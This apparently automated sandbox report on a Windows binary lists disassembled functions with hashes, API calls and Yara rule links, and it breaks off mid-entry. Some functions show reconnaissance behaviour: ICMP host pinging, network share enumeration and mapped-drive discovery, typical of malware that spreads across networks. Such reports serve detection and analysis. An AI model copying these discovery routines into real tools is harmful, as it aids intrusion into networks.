Instruction Fuzzy Hash: 2CA16A71C006499FDF14DFA4CA81EEEBBBAEF08300F550059F805AB251D770AA86CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC630D, Relevance: 6.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AC6314
std::locale::locale.LIBCPMT ref: 00AC6341

Part of subcall function 00AC37BD: __EH_prolog3.LIBCMT ref: 00AC37C4
Part of subcall function 00AC37BD: std::_Lockit::_Lockit.LIBCPMT ref: 00AC37CE
Part of subcall function 00AC37BD: std::locale::_Getfacet.LIBCPMT ref: 00AC37EE
Part of subcall function 00AC37BD: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC383F

Part of subcall function 00AB6F30: char_traits.LIBCPMTD ref: 00AB6F70

std::locale::locale.LIBCPMT ref: 00AC645C
__Stolx.LIBCPMT ref: 00AC64B2

Part of subcall function 00AD94D3: __Stoulx.LIBCPMT ref: 00AD9516

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_std::locale::locale$GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_StolxStoulxchar_traitsstd::locale::_
String ID:
API String ID: 3157105847-0
Opcode ID: 6d9e2a0d8ed1bf04fc07c40c66307645a21ced4e2f2a044f3e2bbcbb5a9b4184
Instruction ID: c3ec7266d5974576ce8d630e67279047c6a0b170fb3d3371e9d3ff72a9082c48
Opcode Fuzzy Hash: 6d9e2a0d8ed1bf04fc07c40c66307645a21ced4e2f2a044f3e2bbcbb5a9b4184
Instruction Fuzzy Hash: 8361487180021DDFCF19DFA4CA85FEDBBB9AF05310F14405AE816AB292DB71AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2633, Relevance: 6.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD263A
std::locale::locale.LIBCPMT ref: 00AD2667

Part of subcall function 00AC9DBD: __EH_prolog3.LIBCMT ref: 00AC9DC4
Part of subcall function 00AC9DBD: std::_Lockit::_Lockit.LIBCPMT ref: 00AC9DCE
Part of subcall function 00AC9DBD: std::locale::_Getfacet.LIBCPMT ref: 00AC9DEE
Part of subcall function 00AC9DBD: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9E3F

Part of subcall function 00AD1A4B: _wmemset.LIBCPMTD ref: 00AD1A6E

std::locale::locale.LIBCPMT ref: 00AD2784
__Stolx.LIBCPMT ref: 00AD27DA

Part of subcall function 00AD94D3: __Stoulx.LIBCPMT ref: 00AD9516

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_std::locale::locale$GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_StolxStoulx_wmemsetstd::locale::_
String ID:
API String ID: 839188980-0
Opcode ID: 65134c692a7a75a1aacff9a980d82317665818c8f7ff873a19c9d0da9ff9ddf6
Instruction ID: 33a4ce2043d8a491446415e856e9464d561086806ce646b909730e4ede50ab73
Opcode Fuzzy Hash: 65134c692a7a75a1aacff9a980d82317665818c8f7ff873a19c9d0da9ff9ddf6
Instruction Fuzzy Hash: 9F61467180030DEFCF15DFA4CA85BEDBBB9BF14310F14415AE806AB292DB70AA45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2F78, Relevance: 6.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD2F7F
std::locale::locale.LIBCPMT ref: 00AD2FAC

Part of subcall function 00AC9E63: __EH_prolog3.LIBCMT ref: 00AC9E6A
Part of subcall function 00AC9E63: std::_Lockit::_Lockit.LIBCPMT ref: 00AC9E74
Part of subcall function 00AC9E63: std::locale::_Getfacet.LIBCPMT ref: 00AC9E94
Part of subcall function 00AC9E63: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9EE5

Part of subcall function 00AA9620: char_traits.LIBCPMTD ref: 00AA9660

std::locale::locale.LIBCPMT ref: 00AD30C9
__Stolx.LIBCPMT ref: 00AD311F

Part of subcall function 00AD94D3: __Stoulx.LIBCPMT ref: 00AD9516

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_std::locale::locale$GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_StolxStoulxchar_traitsstd::locale::_
String ID:
API String ID: 3157105847-0
Opcode ID: 96653896b1f262254af2b9ea2959ba708c79f0e210efcf0f670366c3252deafd
Instruction ID: 8987cb26a004b4065baafd0876e24ffe8e41319dd93adac10599d304307cbcf6
Opcode Fuzzy Hash: 96653896b1f262254af2b9ea2959ba708c79f0e210efcf0f670366c3252deafd
Instruction Fuzzy Hash: DB61597280030DEFDF15DFA4D985ADDBBB9AF18310F14415AE406AB392DB70AB49CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE170, Relevance: 6.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00ABE500: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABE577

operator!=.LIBCPMTD ref: 00ABE2CE

Part of subcall function 00ABE730: std::ios_base::good.LIBCPMTD ref: 00ABE74B
Part of subcall function 00ABE730: std::ios_base::good.LIBCPMTD ref: 00ABE777
Part of subcall function 00ABE730: inet_addr.WS2_32(00000000), ref: 00ABE790
Part of subcall function 00ABE730: IcmpCreateFile.IPHLPAPI ref: 00ABE7A3
Part of subcall function 00ABE730: IcmpSendEcho.IPHLPAPI(000000FF,000000FF,?,00000001,00000000,00000000,0000001D,?), ref: 00ABE7F7
Part of subcall function 00ABE730: IcmpCloseHandle.IPHLPAPI(000000FF), ref: 00ABE804

Part of subcall function 00ABE900: std::ios_base::good.LIBCPMTD ref: 00ABE943
Part of subcall function 00ABE900: NetShareEnum.NETAPI32(00000000,00000001,00000000,000000FF,00000000,00000000,00000000,0000000C,80D348A2), ref: 00ABE993

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABE3A0
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABE3E2
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABE3EA

Part of subcall function 00AA7F20: _WChar_traits.LIBCPMTD ref: 00AA7F5C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Container_base12Container_base12::~_std::_$Icmpstd::ios_base::good$Char_traitsCloseCreateEchoEnumFileHandleSendShareinet_addroperator!=
String ID:
API String ID: 1719307233-0
Opcode ID: 2d45363da2a4246a11c78ea6c6aed9391c233c0d27d1b9edf95813e47761861a
Instruction ID: e4de0dce9fce82974223fea153dda729e548e1928baa53de72aa0e5ceaff05ce
Opcode Fuzzy Hash: 2d45363da2a4246a11c78ea6c6aed9391c233c0d27d1b9edf95813e47761861a
Instruction Fuzzy Hash: 49614B71D102189BCB14EB64DD92BEEB7B9BF15300F5041A9E01A672D2EF346E45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00ABE900, Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00ABE943
NetShareEnum.NETAPI32(00000000,00000001,00000000,000000FF,00000000,00000000,00000000,0000000C,80D348A2), ref: 00ABE993
NetApiBufferFree.NETAPI32(00000000), ref: 00ABEA98
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABEAC3

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: BufferContainer_base12Container_base12::~_EnumFreeSharestd::_std::ios_base::good
String ID:
API String ID: 884762804-0
Opcode ID: eb9aad2d48dba69ccacbd495685b2c29c978e74c8ad8b03198be33912912526c
Instruction ID: e3785240373981a52027ac02c87d0d811713e5e5c9d10ff648aa046de7983db7
Opcode Fuzzy Hash: eb9aad2d48dba69ccacbd495685b2c29c978e74c8ad8b03198be33912912526c
Instruction Fuzzy Hash: 68513CB1D002089BCB14EFA4DD91BEEB77CBF55314F104219E412A72D2EF746A49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B0267E, Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cebaeeac1a11fc59caaaeb8f7bc826c18bb08124d0260df24ac5bf5b04e4831e
Instruction ID: ec8d58313177d75636bcb4c2f5d960730c314da37cb81b30946f7e3c96ddad1b
Opcode Fuzzy Hash: cebaeeac1a11fc59caaaeb8f7bc826c18bb08124d0260df24ac5bf5b04e4831e
Instruction Fuzzy Hash: 7E410C71A00708AFD724AF78CC49B6ABFE8EB88710F1046BAF115DB7C1D6719D448B90

Uniqueness

Uniqueness Score: -1.00%

Function 00AB76C0, Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00AB7702
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AB77E6

Part of subcall function 00AB7810: WNetGetConnectionW.MPR(00B11730,00000000,00000000), ref: 00AB788F

std::ios_base::good.LIBCPMTD ref: 00AB7746
_Smanip.LIBCPMTD ref: 00AB778B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConnectionContainer_base12Container_base12::~_DrivesLogicalSmanipstd::_std::ios_base::good
String ID:
API String ID: 3187619174-0
Opcode ID: d18d6895825d66e6dc2a4d6d34977f42556cc3c9ccd324adadc17a00fbdedabf
Instruction ID: c33a1de171d850003edb70d2881a6621a3cf02faabb0bbe132de2843e5435434
Opcode Fuzzy Hash: d18d6895825d66e6dc2a4d6d34977f42556cc3c9ccd324adadc17a00fbdedabf
Instruction Fuzzy Hash: C4414CB5D14118EBCB08EFA4DD51AEEB778FF98700F00412AF41267292EF746945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00ABD0D0, Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00ABD119
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00ABD1E6

Part of subcall function 00ABD210: WNetGetConnectionW.MPR(00B11490,00000000,00000000), ref: 00ABD28F

std::ios_base::good.LIBCPMTD ref: 00ABD15D
_Smanip.LIBCPMTD ref: 00ABD18B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConnectionContainer_base12Container_base12::~_DrivesLogicalSmanipstd::_std::ios_base::good
String ID:
API String ID: 3187619174-0
Opcode ID: d070c4a0dc7455ba6ce5c748ec66cb86fa0707fc0f6c4e4be690ebd9ca203a0a
Instruction ID: ccf52c6900a17991c273e8b50052e03b760ac00cac9505ab5757798c717f27a9
Opcode Fuzzy Hash: d070c4a0dc7455ba6ce5c748ec66cb86fa0707fc0f6c4e4be690ebd9ca203a0a
Instruction Fuzzy Hash: 11313EB1D10118EBCB18EF98DD51AEEB778FF59700F40422AF41267292EF346945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AAF360, Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

DName::DName.LIBCMTD ref: 00AAF37F
DName::DName.LIBCMTD ref: 00AAF3B8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: NameName::
String ID:
API String ID: 1333004437-0
Opcode ID: efbca6a7aeffd5500e5f26e75c1e0c31a0d6fbc1751e94d92eb50e835c61025a
Instruction ID: 97ddb2dcbaf8c68e0a566b8a5826341b35188c191383ece1f25c14138e5d36f1
Opcode Fuzzy Hash: efbca6a7aeffd5500e5f26e75c1e0c31a0d6fbc1751e94d92eb50e835c61025a
Instruction Fuzzy Hash: 1A31BB74D00209EFCB48DFA4D9919EEBBF5BF49300F14816AE516AB391DB30AA41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00AAF980, Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

DName::DName.LIBCMTD ref: 00AAF99F
DName::DName.LIBCMTD ref: 00AAF9D5

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: NameName::
String ID:
API String ID: 1333004437-0
Opcode ID: 3984fc33aa6dd2f38bdbf243b17acbf7d07556e7b6ce3cc171d55069e7f65a44
Instruction ID: 242fc50e90266fe6a3894ea148149b8ca9ff324719b6d61112c5a7c1934495d2
Opcode Fuzzy Hash: 3984fc33aa6dd2f38bdbf243b17acbf7d07556e7b6ce3cc171d55069e7f65a44
Instruction Fuzzy Hash: D0319BB4D00209EFCB48DFA4D9919EEBBF5BF49300F14816AE51AAB390D7309A41CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00AAFA80, Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

DName::DName.LIBCMTD ref: 00AAFA9F
DName::DName.LIBCMTD ref: 00AAFAD8

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: NameName::
String ID:
API String ID: 1333004437-0
Opcode ID: 56d828ce8bf262498cf16c4728e0d019b8d191c5d5ab38f31f14a2411c969d11
Instruction ID: 3d7c830d0c60d23e29b3dfeb1ec70151f2ab30bbe17205231edd07fbfa58716e
Opcode Fuzzy Hash: 56d828ce8bf262498cf16c4728e0d019b8d191c5d5ab38f31f14a2411c969d11
Instruction Fuzzy Hash: AD318C75D00209EFCB48DFA4D9919EEBBF5BF49300F14816AE51AAB391DB30AA41CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00ABA480, Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a536d1959cc4c77592c164f3b778d9aa062362703078ba5272e03ad05fd86c1b
Instruction ID: 3454ce7d468b1c9d080b68012f46860df3a0ec7dc3674ed6d03763c09ffdce54
Opcode Fuzzy Hash: a536d1959cc4c77592c164f3b778d9aa062362703078ba5272e03ad05fd86c1b
Instruction Fuzzy Hash: 9C31CF74E00108EFCB04DF94DA919AEB7B6FF99304F204599E415AB392DB31AF41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AACC20, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

unique_lock.LIBCONCRTD ref: 00AACC5F

Part of subcall function 00AA7CD0: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7CF4

~unique_lock.LIBCONCRTD ref: 00AACC90

Part of subcall function 00AA7C80: std::_Mutex_base::~_Mutex_base.LIBCONCRTD ref: 00AA7CB6

~unique_lock.LIBCONCRTD ref: 00AACCD4

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Mutex_baseMutex_base::~_std::_~unique_lock$unique_lock
String ID:
API String ID: 2202389703-0
Opcode ID: 641d4b89899223ddca1c285cac0133d46827f5971780862468d829ecb62fe512
Instruction ID: 9fb0d2dc128c9e34f2d45f98e24e7773a359d56c49e1c3e502043c3a2391c798
Opcode Fuzzy Hash: 641d4b89899223ddca1c285cac0133d46827f5971780862468d829ecb62fe512
Instruction Fuzzy Hash: 6A311CB1900209DBDB04DF98C991BFEF7B4FF09324F108259E422AB2D1DB756A45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AA3E90, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

shared_ptr.LIBCPMTD ref: 00AA3EE0
Concurrency::details::ScheduleGroupSegmentBase::HasUnrealizedChores.LIBCMTD ref: 00AA3EEF
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AA3F4A

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Base::ChoresConcurrency::details::Container_base12Container_base12::~_GroupScheduleSegmentUnrealizedshared_ptrstd::_
String ID:
API String ID: 2982896290-0
Opcode ID: 2bd5c3eb172ee10e87063469609c9e6fe057bca76f4b49e241878cf97996fe90
Instruction ID: cd52c3ad7396a4c17333e2ac45bdbd0a26c87c2f20611542745e21c9eceacd81
Opcode Fuzzy Hash: 2bd5c3eb172ee10e87063469609c9e6fe057bca76f4b49e241878cf97996fe90
Instruction Fuzzy Hash: C3211D75900109EFCF04DFA8C951AEEB7B4FF49710F508669F926AB2D0DB34AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00AEE41B, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000), ref: 00AEE465
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AEE44D

Part of subcall function 00AE6920: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AE6941

__CxxThrowException@8.LIBVCRUNTIME ref: 00AEE496
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AEE4BF

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$ThrowTrace$Exception@8
String ID:
API String ID: 2630251706-0
Opcode ID: 75607232211527e131bd015b8c53dba8a893b45794dc85ac6d4070b8ff383e9d
Instruction ID: 52e3422b21da6eb8aeecbc7d722ac1f5e98f785a6134e547970eed0793fb160b
Opcode Fuzzy Hash: 75607232211527e131bd015b8c53dba8a893b45794dc85ac6d4070b8ff383e9d
Instruction Fuzzy Hash: 2C11C431700204ABCF10AF66EC89D6DBBA9EB84360F148066FA16972D2CF75DD028A94

Uniqueness

Uniqueness Score: -1.00%

Function 00B0157E, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00AB315C,00000008,00B06815,00AC72EF,00AC7335,?,00AC7145,00000000), ref: 00B01583
_free.LIBCMT ref: 00B015DE
_free.LIBCMT ref: 00B01614
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00AC7145,00000000), ref: 00B0161F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: abb44c1e384fde5c80a8de8f6ff7a32eaeb08f53858cf761d3dc6461149e889b
Instruction ID: a6826b533494bcfd27a614b8a5870a0989dddb175df89f3001a565659d5e9709
Opcode Fuzzy Hash: abb44c1e384fde5c80a8de8f6ff7a32eaeb08f53858cf761d3dc6461149e889b
Instruction Fuzzy Hash: 8911E5256042417FD72A7BBCACC5F2B3ECCEB92374B580AF9F5119A0E1DEA18D005150

Uniqueness

Uniqueness Score: -1.00%

Function 00B016CF, Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?,00AF6551,00B00BFC,?,?,00ADA79A,00000000,?,00AA171C,00000000,?,00AABDB9,00000000), ref: 00B016D4
_free.LIBCMT ref: 00B0172F
_free.LIBCMT ref: 00B01765
SetLastError.KERNEL32(00000000,00000006,000000FF,?,00000000,?,00AF6551,00B00BFC,?,?,00ADA79A,00000000,?,00AA171C,00000000), ref: 00B01770

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
